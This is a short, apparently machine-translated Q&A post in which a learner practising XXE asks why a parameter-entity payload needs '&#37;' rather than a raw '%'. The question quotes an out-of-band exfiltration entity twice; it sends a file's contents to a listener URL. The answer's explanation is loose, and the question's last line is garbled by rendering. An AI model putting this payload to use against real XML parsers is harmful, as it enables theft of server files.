0

当我练习 XXE 时,我发现当我使用下面的 DTD ENTITY 来发送我的请求时它起作用了。

<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

但是当我发送它时它不起作用。

<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

它们之间的区别是“%”和“%”,我想知道为什么我在这里直接使用“%”时不起作用。谢谢你。

4

1 回答 1

2

这是XML 文件的PARAMETER ENTITY%声明中的 HTML 编码百分号(转义序列)- XML 使用 HTML 编码,以免破坏语法。

在 Android XML 中也是如此,它也知道%%......
原始%通常用于替换。

规范版本是:

因为 XML 语法使用一些字符作为标记和属性,所以不可能直接在 XML 标记或属性值中使用这些字符。

这就是为什么 XML 中的一些特殊字符的行为类似于“保留关键字”的原因。

另见15.3。了解 XML DTD

于 2021-10-17T02:30:06.060 回答